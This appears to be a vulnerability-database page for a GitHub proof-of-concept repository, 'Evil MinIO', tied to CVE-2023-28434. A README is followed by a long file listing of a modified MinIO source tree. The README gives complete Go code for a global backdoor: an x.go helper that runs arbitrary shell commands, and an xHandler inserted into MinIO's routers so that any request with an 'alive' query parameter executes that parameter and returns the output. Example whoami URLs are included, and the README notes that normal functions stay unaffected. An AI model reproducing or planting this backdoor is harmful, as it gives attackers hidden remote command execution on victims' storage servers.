关联漏洞
标题:MinIO 安全漏洞 (CVE-2023-28434)Description:MinIO是美国MinIO公司的一款开源的对象存储服务器。该产品支持构建用于机器学习、分析和应用程序数据工作负载的基础架构。 MinIO 存在安全漏洞。攻击者利用该漏洞获得启用控制台API的访问权限。
Description
EXP for CVE-2023-28434 MinIO unauthorized to RCE
介绍
# Evil MinIO (CVE-2023-28434)
Doc: [CVE-2023-28432 minio 接口未授权访问到无损RCE和全局后门.pdf](./CVE-2023-28432%20minio%20接口未授权访问到无损RCE和全局后门.pdf)
EXP for **CVE-2023-28434**
MinIO unauthorized to RCE
Changed from [https://github.com/minio/minio/tree/8b4d0255b7247b1a06d923e69ed5ba01434e70b8](https://github.com/minio/minio/tree/8b4d0255b7247b1a06d923e69ed5ba01434e70b8)
## Changed what?
- add `cmd/x.go`, used for exec system command
```go
package cmd
import (
"os/exec"
"runtime"
)
func getOutputDirectly(commandStr string) string {
var execGlobalOutput string
var shell [2]string
var systemOS string = runtime.GOOS
if systemOS == "linux" || systemOS == "darwin" {
shell[0], shell[1] = "/bin/bash", "-c"
} else {
shell[0], shell[1] = "C:\\Windows\\System32\\cmd.exe", "/c"
}
cmd := exec.Command(shell[0], shell[1], commandStr)
output, err := cmd.Output()
if err != nil {
return ""
}
execGlobalOutput += string(output)
return execGlobalOutput
}
```
- `cmd/routers.go`, add line #72
```go
// ..........
setUploadForwardingHandler,
// Add bucket forwarding handler
setBucketForwardingHandler,
// Add new handlers here.
xHandler, // ADD THIS LINE
}
// configureServer handler returns final handler for the http server.
func configureServerHandler(endpointServerPools EndpointServerPools) (http.Handler, error) {
// ..........
```
- `cmd/generic-handlers.go`, add function `xHandler` at the end
```go
func xHandler(h http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
var arg string
values := r.URL.Query()
arg = values.Get("alive")
if arg != "" {
w.Write([]byte(getOutputDirectly(arg)))
return
}
h.ServeHTTP(w, r)
})
}
```
## What can be done?
1. GLOBAL backdoor as `http://1.2.3.4/?alive=whoami` and `http://1.2.3.4/anything?alive=whoami`
2. Normal functions will not be affected


文件快照
[4.0K] /data/pocs/011db82457dcf02ae4faeadfe3e76c40feef0f9b
├── [4.0K] buildscripts
│ ├── [3.8K] checkdeps.sh
│ ├── [4.0K] cicd-corpus
│ │ ├── [4.0K] disk1
│ │ │ └── [4.0K] bucket
│ │ │ └── [4.0K] testobj
│ │ │ └── [4.0K] 2b4f7e41-df82-4a5e-a3c1-8df87f83332f
│ │ │ └── [210K] part.1
│ │ ├── [4.0K] disk2
│ │ │ └── [4.0K] bucket
│ │ │ └── [4.0K] testobj
│ │ │ ├── [4.0K] 2b4f7e41-df82-4a5e-a3c1-8df87f83332f
│ │ │ │ └── [210K] part.1
│ │ │ └── [ 531] xl.meta
│ │ ├── [4.0K] disk3
│ │ │ └── [4.0K] bucket
│ │ │ └── [4.0K] testobj
│ │ │ ├── [4.0K] 2b4f7e41-df82-4a5e-a3c1-8df87f83332f
│ │ │ │ └── [210K] part.1
│ │ │ └── [ 531] xl.meta
│ │ ├── [4.0K] disk4
│ │ │ └── [4.0K] bucket
│ │ │ └── [4.0K] testobj
│ │ │ ├── [4.0K] 2b4f7e41-df82-4a5e-a3c1-8df87f83332f
│ │ │ │ └── [210K] part.1
│ │ │ ├── [4.0K] a599bd9e-69fe-49b7-b6bf-fe53021039d5
│ │ │ │ └── [210K] part.1
│ │ │ └── [1.0K] xl.meta
│ │ └── [4.0K] disk5
│ │ └── [4.0K] bucket
│ │ └── [4.0K] testobj
│ │ ├── [4.0K] 2b4f7e41-df82-4a5e-a3c1-8df87f83332f
│ │ │ └── [210K] part.1
│ │ ├── [4.0K] a599bd9e-69fe-49b7-b6bf-fe53021039d5
│ │ │ └── [210K] part.1
│ │ └── [ 531] xl.meta
│ ├── [1018] cross-compile.sh
│ ├── [3.3K] gen-ldflags.go
│ ├── [2.0K] heal-inconsistent-versions.sh
│ ├── [2.4K] heal-manual.go
│ ├── [2.3K] minio-upgrade.sh
│ ├── [ 187] race.sh
│ ├── [1.5K] resolve-right-versions.sh
│ ├── [3.6K] rewrite-old-new.sh
│ ├── [4.3K] unaligned-healing.sh
│ ├── [4.0K] upgrade-tests
│ │ ├── [1.5K] compose.yml
│ │ ├── [ 74] minio.env
│ │ └── [1.7K] nginx.conf
│ ├── [7.1K] verify-build.sh
│ ├── [3.3K] verify-healing.sh
│ └── [2.5K] verify-healing-with-root-disks.sh
├── [ 20K] cmd
│ ├── [8.4K] acl-handlers.go
│ ├── [ 35K] admin-bucket-handlers.go
│ ├── [ 16K] admin-handlers-config-kv.go
│ ├── [ 82K] admin-handlers.go
│ ├── [ 13K] admin-handlers-idp-config.go
│ ├── [5.1K] admin-handlers-idp-ldap.go
│ ├── [ 11K] admin-handlers-pools.go
│ ├── [ 17K] admin-handlers-site-replication.go
│ ├── [ 14K] admin-handlers_test.go
│ ├── [ 79K] admin-handlers-users.go
│ ├── [3.9K] admin-handlers-users-race_test.go
│ ├── [ 41K] admin-handlers-users_test.go
│ ├── [8.0K] admin-handler-utils.go
│ ├── [ 25K] admin-heal-ops.go
│ ├── [ 20K] admin-router.go
│ ├── [4.4K] admin-server-info.go
│ ├── [3.0K] api-datatypes.go
│ ├── [ 20K] apierrorcode_string.go
│ ├── [ 87K] api-errors.go
│ ├── [3.6K] api-errors_test.go
│ ├── [6.9K] api-headers.go
│ ├── [1.1K] api-headers_test.go
│ ├── [4.4K] api-resources.go
│ ├── [7.1K] api-resources_test.go
│ ├── [ 30K] api-response.go
│ ├── [3.5K] api-response_test.go
│ ├── [ 23K] api-router.go
│ ├── [2.2K] api-utils.go
│ ├── [1.5K] api-utils_test.go
│ ├── [ 24K] auth-handler.go
│ ├── [ 15K] auth-handler_test.go
│ ├── [ 986] authtype_string.go
│ ├── [4.4K] background-heal-ops.go
│ ├── [ 20K] background-newdisks-heal-ops_gen.go
│ ├── [2.3K] background-newdisks-heal-ops_gen_test.go
│ ├── [ 14K] background-newdisks-heal-ops.go
│ ├── [ 68K] batch-handlers_gen.go
│ ├── [ 26K] batch-handlers_gen_test.go
│ ├── [ 35K] batch-handlers.go
│ ├── [ 790] batchreplicationmetric_string.go
│ ├── [8.2K] benchmark-utils_test.go
│ ├── [7.6K] bitrot.go
│ ├── [6.4K] bitrot-streaming.go
│ ├── [2.1K] bitrot_test.go
│ ├── [3.1K] bitrot-whole.go
│ ├── [2.6K] bootstrap-messages.go
│ ├── [1.9K] bootstrap-messages_test.go
│ ├── [9.1K] bootstrap-peer-server.go
│ ├── [1.7K] bucket-encryption.go
│ ├── [6.4K] bucket-encryption-handlers.go
│ ├── [2.1K] bucket-encryption_test.go
│ ├── [ 51K] bucket-handlers.go
│ ├── [ 39K] bucket-handlers_test.go
│ ├── [ 26K] bucket-lifecycle.go
│ ├── [5.3K] bucket-lifecycle-handlers.go
│ ├── [ 11K] bucket-lifecycle-handlers_test.go
│ ├── [7.0K] bucket-lifecycle_test.go
│ ├── [ 13K] bucket-listobjects-handlers.go
│ ├── [ 21K] bucket-metadata_gen.go
│ ├── [2.3K] bucket-metadata_gen_test.go
│ ├── [ 16K] bucket-metadata.go
│ ├── [ 17K] bucket-metadata-sys.go
│ ├── [5.1K] bucket-notification-handlers.go
│ ├── [ 13K] bucket-object-lock.go
│ ├── [7.5K] bucket-policy.go
│ ├── [6.1K] bucket-policy-handlers.go
│ ├── [ 33K] bucket-policy-handlers_test.go
│ ├── [3.5K] bucket-quota.go
│ ├── [ 96K] bucket-replication.go
│ ├── [ 15K] bucket-replication-handlers.go
│ ├── [ 11K] bucket-replication-stats.go
│ ├── [ 12K] bucket-replication_test.go
│ ├── [ 60K] bucket-replication-utils_gen.go
│ ├── [ 23K] bucket-replication-utils_gen_test.go
│ ├── [ 25K] bucket-replication-utils.go
│ ├── [9.3K] bucket-replication-utils_test.go
│ ├── [ 30K] bucket-stats_gen.go
│ ├── [ 11K] bucket-stats_gen_test.go
│ ├── [4.9K] bucket-stats.go
│ ├── [ 16K] bucket-targets.go
│ ├── [2.6K] bucket-versioning.go
│ ├── [5.0K] bucket-versioning-handler.go
│ ├── [1.4K] build-constants.go
│ ├── [5.2K] callhome.go
│ ├── [ 33K] common-main.go
│ ├── [3.7K] common-main_test.go
│ ├── [3.1K] config-common.go
│ ├── [ 26K] config-current.go
│ ├── [2.0K] config-current_test.go
│ ├── [3.0K] config-dir.go
│ ├── [6.1K] config-encrypted.go
│ ├── [1.9K] config-encrypted_test.go
│ ├── [6.8K] config.go
│ ├── [ 84K] config-migrate.go
│ ├── [ 12K] config-migrate_test.go
│ ├── [ 24K] config-versions.go
│ ├── [5.4K] consolelogger.go
│ ├── [2.5K] copy-part-range.go
│ ├── [2.5K] copy-part-range_test.go
│ ├── [2.1K] crossdomain-xml-handler.go
│ ├── [1.3K] crossdomain-xml-handler_test.go
│ ├── [ 44K] data-scanner.go
│ ├── [8.2K] data-scanner-metric.go
│ ├── [ 87K] data-usage-cache_gen.go
│ ├── [ 26K] data-usage-cache_gen_test.go
│ ├── [ 36K] data-usage-cache.go
│ ├── [4.8K] data-usage.go
│ ├── [ 14K] data-usage_test.go
│ ├── [6.1K] data-usage-utils.go
│ ├── [ 830] decommetric_string.go
│ ├── [ 50K] disk-cache-backend.go
│ ├── [1.5K] disk-cache-check-support_contrib_windows.go
│ ├── [1.4K] disk-cache-check-support_other.go
│ ├── [ 43K] disk-cache.go
│ ├── [2.3K] disk-cache-stats.go
│ ├── [2.5K] disk-cache_test.go
│ ├── [ 14K] disk-cache-utils.go
│ ├── [6.9K] disk-cache-utils_test.go
│ ├── [4.8K] dummy-data-generator_test.go
│ ├── [7.1K] dummy-handlers.go
│ ├── [4.5K] dynamic-timeouts.go
│ ├── [5.4K] dynamic-timeouts_test.go
│ ├── [ 36K] encryption-v1.go
│ ├── [ 20K] encryption-v1_test.go
│ ├── [2.2K] endpoint_contrib_test.go
│ ├── [ 13K] endpoint-ellipses.go
│ ├── [ 15K] endpoint-ellipses_test.go
│ ├── [ 25K] endpoint.go
│ ├── [ 19K] endpoint_test.go
│ ├── [8.7K] erasure-coding.go
│ ├── [5.3K] erasure-common.go
│ ├── [8.6K] erasure-decode.go
│ ├── [ 21K] erasure-decode_test.go
│ ├── [3.1K] erasure-encode.go
│ ├── [ 12K] erasure-encode_test.go
│ ├── [1.2K] erasure-errors.go
│ ├── [ 14K] erasure.go
│ ├── [ 10K] erasure-healing-common.go
│ ├── [ 20K] erasure-healing-common_test.go
│ ├── [ 35K] erasure-healing.go
│ ├── [ 46K] erasure-healing_test.go
│ ├── [7.9K] erasure-heal_test.go
│ ├── [ 19K] erasure-metadata.go
│ ├── [7.2K] erasure-metadata_test.go
│ ├── [ 11K] erasure-metadata-utils.go
│ ├── [7.4K] erasure-metadata-utils_test.go
│ ├── [ 40K] erasure-multipart.go
│ ├── [ 66K] erasure-object.go
│ ├── [ 37K] erasure-object_test.go
│ ├── [ 27K] erasure-server-pool-decom_gen.go
│ ├── [ 11K] erasure-server-pool-decom_gen_test.go
│ ├── [ 36K] erasure-server-pool-decom.go
│ ├── [4.8K] erasure-server-pool-decom_test.go
│ ├── [ 70K] erasure-server-pool.go
│ ├── [ 27K] erasure-server-pool-rebalance_gen.go
│ ├── [ 11K] erasure-server-pool-rebalance_gen_test.go
│ ├── [ 24K] erasure-server-pool-rebalance.go
│ ├── [ 40K] erasure-sets.go
│ ├── [6.9K] erasure-sets_test.go
│ ├── [4.8K] erasure_test.go
│ ├── [4.0K] erasure-utils.go
│ ├── [2.9K] etcd.go
│ ├── [9.6K] event-notification.go
│ ├── [ 15K] format-disk-cache.go
│ ├── [9.0K] format-disk-cache_test.go
│ ├── [ 27K] format-erasure.go
│ ├── [ 14K] format-erasure_test.go
│ ├── [1.7K] format-meta.go
│ ├── [ 737] format_string.go
│ ├── [ 995] generic-handlers_contrib.go
│ ├── [ 21K] generic-handlers.go
│ ├── [5.1K] generic-handlers_test.go
│ ├── [ 12K] global-heal.go
│ ├── [ 14K] globals.go
│ ├── [7.8K] handler-api.go
│ ├── [ 15K] handler-utils.go
│ ├── [6.9K] handler-utils_test.go
│ ├── [1.4K] hasher.go
│ ├── [ 789] healingmetric_string.go
│ ├── [4.8K] healthcheck-handler.go
│ ├── [2.3K] healthcheck-router.go
│ ├── [5.9K] httprange.go
│ ├── [3.7K] httprange_test.go
│ ├── [8.8K] http-stats.go
│ ├── [5.9K] http-tracer.go
│ ├── [1.8K] http-tracer_test.go
│ ├── [ 14K] iam-etcd-store.go
│ ├── [1.5K] iam-etcd-store_test.go
│ ├── [ 57K] iam.go
│ ├── [ 15K] iam-object-store.go
│ ├── [ 69K] iam-store.go
│ ├── [6.2K] jwt.go
│ ├── [6.7K] jwt_test.go
│ ├── [ 22K] kms-handlers.go
│ ├── [4.6K] kms-router.go
│ ├── [ 17K] last-minute_gen.go
│ ├── [6.8K] last-minute_gen_test.go
│ ├── [5.1K] last-minute.go
│ ├── [5.2K] leak-detect_test.go
│ ├── [3.4K] license-update.go
│ ├── [4.6K] listen-notification-handlers.go
│ ├── [ 10K] local-locker.go
│ ├── [ 12K] local-locker_test.go
│ ├── [5.3K] lock-rest-client.go
│ ├── [1.6K] lock-rest-client_test.go
│ ├── [1.4K] lock-rest-server-common.go
│ ├── [3.1K] lock-rest-server-common_test.go
│ ├── [7.1K] lock-rest-server.go
│ ├── [2.2K] lock-rest-server_test.go
│ ├── [6.4K] main.go
│ ├── [6.6K] metacache-bucket.go
│ ├── [1.8K] metacache-bucket_test.go
│ ├── [ 23K] metacache-entries.go
│ ├── [ 32K] metacache-entries_test.go
│ ├── [ 10K] metacache_gen.go
│ ├── [2.3K] metacache_gen_test.go
│ ├── [5.0K] metacache.go
│ ├── [5.2K] metacache-manager.go
│ ├── [2.5K] metacache-marker.go
│ ├── [ 14K] metacache-server-pool.go
│ ├── [ 27K] metacache-set.go
│ ├── [ 19K] metacache-stream.go
│ ├── [ 15K] metacache-stream_test.go
│ ├── [6.8K] metacache_test.go
│ ├── [ 12K] metacache-walk.go
│ ├── [ 19K] metrics.go
│ ├── [4.3K] metrics-realtime.go
│ ├── [2.1K] metrics-router.go
│ ├── [ 74K] metrics-v2.go
│ ├── [5.6K] mrf.go
│ ├── [9.2K] namespace-lock.go
│ ├── [3.1K] namespace-lock_test.go
│ ├── [9.1K] naughty-disk_test.go
│ ├── [ 10K] net.go
│ ├── [ 11K] net_test.go
│ ├── [ 38K] notification.go
│ ├── [2.2K] notification-summary.go
│ ├── [2.1K] object-api-common.go
│ ├── [ 17K] object-api-datatypes.go
│ ├── [3.9K] object-api-deleteobject_test.go
│ ├── [ 20K] object-api-errors.go
│ ├── [5.6K] object-api-getobjectinfo_test.go
│ ├── [6.9K] object-api-input-checks.go
│ ├── [ 14K] object-api-interface.go
│ ├── [ 73K] object-api-listobjects_test.go
│ ├── [ 76K] object-api-multipart_test.go
│ ├── [ 11K] object-api-options.go
│ ├── [ 26K] object-api-putobject_test.go
│ ├── [ 32K] object_api_suite_test.go
│ ├── [ 33K] object-api-utils.go
│ ├── [ 21K] object-api-utils_test.go
│ ├── [ 14K] object-handlers-common.go
│ ├── [1.4K] object-handlers-common_test.go
│ ├── [105K] object-handlers.go
│ ├── [159K] object-handlers_test.go
│ ├── [ 10K] object-lambda-handlers.go
│ ├── [ 39K] object-multipart-handlers.go
│ ├── [ 950] os-dirent_fileino.go
│ ├── [ 953] os-dirent_ino.go
│ ├── [ 982] os-dirent_namelen_bsd.go
│ ├── [1.5K] os-dirent_namelen_linux.go
│ ├── [5.9K] os-instrumented.go
│ ├── [1.2K] osmetric_string.go
│ ├── [3.9K] os_other.go
│ ├── [1.3K] os-readdir-common.go
│ ├── [7.5K] os-readdir_test.go
│ ├── [5.3K] os-reliable.go
│ ├── [3.1K] os-reliable_test.go
│ ├── [8.9K] os_unix.go
│ ├── [4.9K] os_windows.go
│ ├── [ 27K] peer-rest-client.go
│ ├── [4.9K] peer-rest-common.go
│ ├── [ 42K] peer-rest-server.go
│ ├── [9.7K] peer-s3-client.go
│ ├── [9.3K] peer-s3-server.go
│ ├── [8.4K] perf-tests.go
│ ├── [8.7K] policy_test.go
│ ├── [ 10K] postpolicyform.go
│ ├── [8.9K] postpolicyform_test.go
│ ├── [ 28K] post-policy_test.go
│ ├── [ 12K] prepare-storage.go
│ ├── [3.8K] rebalance-admin.go
│ ├── [ 988] rebalancemetric_string.go
│ ├── [ 795] rebalstatus_string.go
│ ├── [3.4K] routers.go
│ ├── [ 16K] s3-zip-handlers.go
│ ├── [1.6K] scannermetric_string.go
│ ├── [ 26K] server-main.go
│ ├── [1.9K] server-main_test.go
│ ├── [2.3K] server-rlimit.go
│ ├── [7.6K] server-startup-msg.go
│ ├── [4.0K] server-startup-msg_test.go
│ ├── [108K] server_test.go
│ ├── [3.8K] service.go
│ ├── [1.5K] setup-type.go
│ ├── [2.3K] shared-lock.go
│ ├── [2.5K] signals.go
│ ├── [ 12K] signature-v2.go
│ ├── [8.0K] signature-v2_test.go
│ ├── [ 12K] signature-v4.go
│ ├── [9.2K] signature-v4-parser.go
│ ├── [ 27K] signature-v4-parser_test.go
│ ├── [ 10K] signature-v4_test.go
│ ├── [8.0K] signature-v4-utils.go
│ ├── [ 12K] signature-v4-utils_test.go
│ ├── [152K] site-replication.go
│ ├── [2.2K] site-replication_test.go
│ ├── [7.2K] site-replication-utils_gen.go
│ ├── [2.4K] site-replication-utils_gen_test.go
│ ├── [8.7K] site-replication-utils.go
│ ├── [8.5K] speedtest.go
│ ├── [ 57K] storage-datatypes_gen.go
│ ├── [ 22K] storage-datatypes_gen_test.go
│ ├── [9.9K] storage-datatypes.go
│ ├── [9.4K] storage-datatypes_test.go
│ ├── [5.8K] storage-errors.go
│ ├── [ 10K] storage-interface.go
│ ├── [2.0K] storagemetric_string.go
│ ├── [ 25K] storage-rest-client.go
│ ├── [3.4K] storage-rest-common.go
│ ├── [ 39K] storage-rest-server.go
│ ├── [ 15K] storage-rest_test.go
│ ├── [ 13K] streaming-signature-v4.go
│ ├── [5.7K] streaming-signature-v4_test.go
│ ├── [9.9K] sts-datatypes.go
│ ├── [1.4K] stserrorcode_string.go
│ ├── [5.9K] sts-errors.go
│ ├── [ 33K] sts-handlers.go
│ ├── [ 61K] sts-handlers_test.go
│ ├── [4.0K] testdata
│ │ ├── [164K] decryptObjectInfo.json.zst
│ │ ├── [ 38K] metacache.s2
│ │ ├── [ 303] xl.meta
│ │ ├── [4.1K] xl-meta-consist.zip
│ │ ├── [1.0M] xl.meta-corrupt.gz
│ │ ├── [132K] xl-meta-inline-notinline.zip
│ │ └── [ 57K] xl.meta-v1.2.zst
│ ├── [ 76K] test-utils_test.go
│ ├── [4.0K] tier_gen.go
│ ├── [2.3K] tier_gen_test.go
│ ├── [ 11K] tier.go
│ ├── [8.8K] tier-handlers.go
│ ├── [6.1K] tier-journal_gen.go
│ ├── [4.3K] tier-journal_gen_test.go
│ ├── [7.2K] tier-journal.go
│ ├── [3.2K] tier-journal_test.go
│ ├── [2.8K] tier-last-day-stats.go
│ ├── [1.5K] tier-mem-journal.go
│ ├── [4.4K] tier-sweeper.go
│ ├── [4.8K] typed-errors.go
│ ├── [6.0K] untar.go
│ ├── [ 934] update_fips.go
│ ├── [ 18K] update.go
│ ├── [ 931] update_nofips.go
│ ├── [3.6K] update-notifier.go
│ ├── [3.6K] update-notifier_test.go
│ ├── [ 11K] update_test.go
│ ├── [2.0K] url_test.go
│ ├── [ 34K] utils.go
│ ├── [ 12K] utils_test.go
│ ├── [7.5K] veeam-sos-api.go
│ ├── [ 956] version_test.go
│ ├── [5.9K] warm-backend-azure.go
│ ├── [5.5K] warm-backend-gcs.go
│ ├── [3.8K] warm-backend.go
│ ├── [1.9K] warm-backend-minio.go
│ ├── [4.2K] warm-backend-s3.go
│ ├── [ 527] x.go
│ ├── [ 25K] xl-storage-disk-id-check.go
│ ├── [3.8K] xl-storage-errors.go
│ ├── [1.7K] xl-storage-errors_test.go
│ ├── [ 18K] xl-storage-format_test.go
│ ├── [5.1K] xl-storage-format-utils.go
│ ├── [5.9K] xl-storage-format-utils_test.go
│ ├── [ 40K] xl-storage-format-v1_gen.go
│ ├── [ 13K] xl-storage-format-v1_gen_test.go
│ ├── [7.5K] xl-storage-format-v1.go
│ ├── [ 53K] xl-storage-format-v2_gen.go
│ ├── [ 11K] xl-storage-format-v2_gen_test.go
│ ├── [ 62K] xl-storage-format-v2.go
│ ├── [3.4K] xl-storage-format-v2-legacy.go
│ ├── [1.4K] xl-storage-format-v2_string.go
│ ├── [ 33K] xl-storage-format-v2_test.go
│ ├── [3.3K] xl-storage-free-version.go
│ ├── [6.3K] xl-storage-free-version_test.go
│ ├── [ 74K] xl-storage.go
│ ├── [9.6K] xl-storage-meta-inline.go
│ ├── [1.0K] xl-storage_noatime_notsupported.go
│ ├── [1.0K] xl-storage_noatime_supported.go
│ ├── [ 66K] xl-storage_test.go
│ ├── [3.4K] xl-storage_unix_test.go
│ └── [2.8K] xl-storage_windows_test.go
├── [ 14] CNAME
├── [3.5K] code_of_conduct.md
├── [1.1K] COMPLIANCE.md
├── [ 27] _config.yml
├── [2.8K] CONTRIBUTING.md
├── [1.5M] CREDITS
├── [ 12M] CVE-2023-28432 minio 接口未授权访问到无损RCE和全局后门.pdf
├── [ 769] docker-buildx.sh
├── [ 227] Dockerfile
├── [ 56] Dockerfile.cicd
├── [ 227] Dockerfile.dev
├── [2.2K] Dockerfile.hotfix
├── [2.4K] Dockerfile.release
├── [2.2K] Dockerfile.release.fips
├── [ 48] Dockerfile.scratch
├── [4.0K] dockerscripts
│ ├── [ 870] docker-entrypoint.sh
│ └── [ 624] verify-minio.sh
├── [4.0K] docs
│ ├── [4.0K] batch-jobs
│ │ └── [4.8K] README.md
│ ├── [4.0K] bigdata
│ │ ├── [4.0K] images
│ │ │ ├── [ 53K] image10.png
│ │ │ ├── [ 45K] image11.png
│ │ │ ├── [ 42K] image12.png
│ │ │ ├── [ 74K] image13.png
│ │ │ ├── [ 45K] image14.png
│ │ │ ├── [322K] image1.png
│ │ │ ├── [ 67K] image2.png
│ │ │ ├── [ 11K] image3.png
│ │ │ ├── [ 82K] image4.png
│ │ │ ├── [ 64K] image5.png
│ │ │ ├── [ 48K] image6.png
│ │ │ ├── [ 58K] image7.png
│ │ │ ├── [ 77K] image8.png
│ │ │ └── [ 70K] image9.png
│ │ └── [ 15K] README.md
│ ├── [4.0K] bucket
│ │ ├── [4.0K] lifecycle
│ │ │ ├── [4.3K] DESIGN.md
│ │ │ └── [7.8K] README.md
│ │ ├── [4.0K] notifications
│ │ │ └── [ 84K] README.md
│ │ ├── [4.0K] quota
│ │ │ ├── [ 95K] bucketquota.png
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] replication
│ │ │ ├── [ 37K] DELETE_bucket_replication.png
│ │ │ ├── [2.8K] delete-replication.sh
│ │ │ ├── [ 15K] DESIGN.md
│ │ │ ├── [ 22K] HEAD_bucket_replication.png
│ │ │ ├── [ 89K] PUT_bucket_replication.png
│ │ │ ├── [ 18K] README.md
│ │ │ ├── [4.0K] setup_2site_existing_replication.sh
│ │ │ ├── [9.0K] setup_3site_replication.sh
│ │ │ └── [2.6K] setup_replication.sh
│ │ ├── [4.0K] retention
│ │ │ └── [3.9K] README.md
│ │ └── [4.0K] versioning
│ │ ├── [5.8K] DESIGN.md
│ │ ├── [ 11K] README.md
│ │ ├── [123K] versioning_DELETE_versionEnabled_id.png
│ │ ├── [144K] versioning_DELETE_versionEnabled.png
│ │ ├── [169K] versioning_GET_versionEnabled_id.png
│ │ ├── [134K] versioning_GET_versionEnabled.png
│ │ └── [103K] versioning_PUT_versionEnabled.png
│ ├── [4.0K] chroot
│ │ └── [1.7K] README.md
│ ├── [4.0K] compression
│ │ └── [4.8K] README.md
│ ├── [4.0K] config
│ │ └── [ 17K] README.md
│ ├── [4.0K] debugging
│ │ ├── [4.0K] hash-set
│ │ │ └── [3.7K] main.go
│ │ ├── [4.0K] healing-bin
│ │ │ └── [3.2K] main.go
│ │ ├── [4.0K] inspect
│ │ │ ├── [1.5K] decrypt-v1.go
│ │ │ ├── [1.9K] decrypt-v2.go
│ │ │ ├── [9.1K] export.go
│ │ │ ├── [ 652] go.mod
│ │ │ ├── [ 72K] go.sum
│ │ │ ├── [4.7K] main.go
│ │ │ └── [1.4K] utils.go
│ │ ├── [8.7K] README.md
│ │ ├── [4.0K] reorder-disks
│ │ │ ├── [ 105] go.mod
│ │ │ ├── [ 159] go.sum
│ │ │ └── [5.0K] main.go
│ │ ├── [4.0K] s3-check-md5
│ │ │ └── [5.6K] main.go
│ │ ├── [4.0K] s3-verify
│ │ │ └── [8.4K] main.go
│ │ └── [4.0K] xl-meta
│ │ └── [ 13K] main.go
│ ├── [4.0K] distributed
│ │ ├── [3.8K] decom-compressed-sse-s3.sh
│ │ ├── [3.7K] decom-encrypted.sh
│ │ ├── [4.0K] decom-encrypted-sse-s3.sh
│ │ ├── [8.3K] DECOMMISSION.md
│ │ ├── [5.7K] decom.sh
│ │ ├── [8.0K] DESIGN.md
│ │ ├── [8.8K] README.md
│ │ ├── [ 166] rw.json
│ │ └── [3.9K] SIZING.md
│ ├── [4.0K] docker
│ │ └── [8.2K] README.md
│ ├── [4.0K] erasure
│ │ ├── [4.1K] README.md
│ │ └── [4.0K] storage-class
│ │ └── [5.8K] README.md
│ ├── [4.0K] extensions
│ │ └── [4.0K] s3zip
│ │ ├── [4.0K] examples
│ │ │ ├── [4.0K] aws-js
│ │ │ │ ├── [1.0K] main.js
│ │ │ │ └── [ 139] package.json
│ │ │ ├── [4.0K] boto3
│ │ │ │ └── [ 771] main.py
│ │ │ └── [4.0K] minio-go
│ │ │ └── [ 694] main.go
│ │ └── [2.8K] README.md
│ ├── [4.0K] federation
│ │ └── [4.0K] lookup
│ │ ├── [ 36K] bucket-lookup.png
│ │ ├── [ 216] Corefile.example
│ │ └── [4.0K] README.md
│ ├── [4.9K] hotfixes.md
│ ├── [4.0K] iam
│ │ ├── [4.4K] access-management-plugin.md
│ │ ├── [2.6K] access-manager-plugin.go
│ │ ├── [4.2K] identity-management-plugin.md
│ │ ├── [2.1K] identity-manager-plugin.go
│ │ └── [2.3K] opa.md
│ ├── [4.0K] integrations
│ │ └── [4.0K] veeam
│ │ ├── [5.4K] README.md
│ │ └── [4.0K] screenshots
│ │ ├── [ 43K] 1_add_object_store.png
│ │ ├── [ 32K] 6_add_sobr_with_object_store.png
│ │ ├── [ 18K] backup_job_immutable_days.png
│ │ └── [ 13K] object_store_immutable_days.png
│ ├── [4.0K] kms
│ │ ├── [5.3K] IAM.md
│ │ └── [7.1K] README.md
│ ├── [4.0K] lambda
│ │ └── [7.6K] README.md
│ ├── [ 18K] LICENSE
│ ├── [4.0K] logging
│ │ └── [9.9K] README.md
│ ├── [4.0K] metrics
│ │ ├── [4.0K] healthcheck
│ │ │ └── [2.6K] README.md
│ │ ├── [4.0K] prometheus
│ │ │ ├── [4.0K] grafana
│ │ │ │ ├── [469K] grafana-minio.png
│ │ │ │ ├── [402K] grafana-replication.png
│ │ │ │ ├── [ 72K] minio-dashboard.json
│ │ │ │ ├── [ 69K] minio-replication.json
│ │ │ │ └── [1.3K] README.md
│ │ │ ├── [9.4K] list.md
│ │ │ └── [4.9K] README.md
│ │ └── [1.6K] README.md
│ ├── [5.0K] minio-limits.md
│ ├── [4.0K] multi-tenancy
│ │ └── [3.0K] README.md
│ ├── [4.0K] multi-user
│ │ ├── [4.0K] admin
│ │ │ └── [4.5K] README.md
│ │ └── [8.0K] README.md
│ ├── [4.0K] orchestration
│ │ ├── [4.0K] docker-compose
│ │ │ ├── [1.5K] docker-compose.yaml
│ │ │ ├── [3.0K] nginx.conf
│ │ │ └── [3.0K] README.md
│ │ ├── [4.0K] kubernetes
│ │ │ └── [1.6K] README.md
│ │ └── [2.2K] README.md
│ ├── [4.0K] screenshots
│ │ ├── [252K] Architecture-diagram_distributed_16.jpg
│ │ ├── [354K] Architecture-diagram_distributed_16.png
│ │ ├── [ 60K] Architecture-diagram_distributed_16.svg
│ │ ├── [215K] Architecture-diagram_distributed_8.jpg
│ │ ├── [ 90K] Architecture-diagram_distributed_8.png
│ │ ├── [212K] Architecture-diagram_distributed_8.svg
│ │ ├── [548K] Architecture-diagram_distributed_nm.png
│ │ ├── [106K] erasure-code.jpg
│ │ ├── [221K] erasure-code.png
│ │ ├── [ 17K] erasure-code.svg
│ │ ├── [ 89K] Example-1.jpg
│ │ ├── [ 97K] Example-1.png
│ │ ├── [135K] Example-2.jpg
│ │ ├── [106K] Example-2.png
│ │ ├── [289K] Example-3.jpg
│ │ ├── [265K] Example-3.png
│ │ ├── [137K] Minio_Cloud_Native_Arch.jpg
│ │ ├── [ 74K] Minio_Cloud_Native_Arch.png
│ │ ├── [ 32K] Minio_Cloud_Native_Arch.svg
│ │ ├── [314K] pic1.png
│ │ └── [1.6M] pic2.png
│ ├── [4.0K] security
│ │ └── [ 14K] README.md
│ ├── [4.0K] select
│ │ ├── [6.5K] README.md
│ │ └── [1.0K] select.py
│ ├── [4.0K] site-replication
│ │ ├── [2.3K] gen-oidc-sts-cred.go
│ │ ├── [ 325] ldap.yaml
│ │ ├── [2.8K] README.md
│ │ ├── [7.8K] run-multi-site-ldap.sh
│ │ ├── [8.7K] run-multi-site-minio-idp.sh
│ │ ├── [7.3K] run-multi-site-oidc.sh
│ │ └── [ 146] rw.json
│ ├── [4.0K] sts
│ │ ├── [4.0K] assume-role.go
│ │ ├── [7.1K] assume-role.md
│ │ ├── [6.6K] casdoor.md
│ │ ├── [4.0K] client_grants
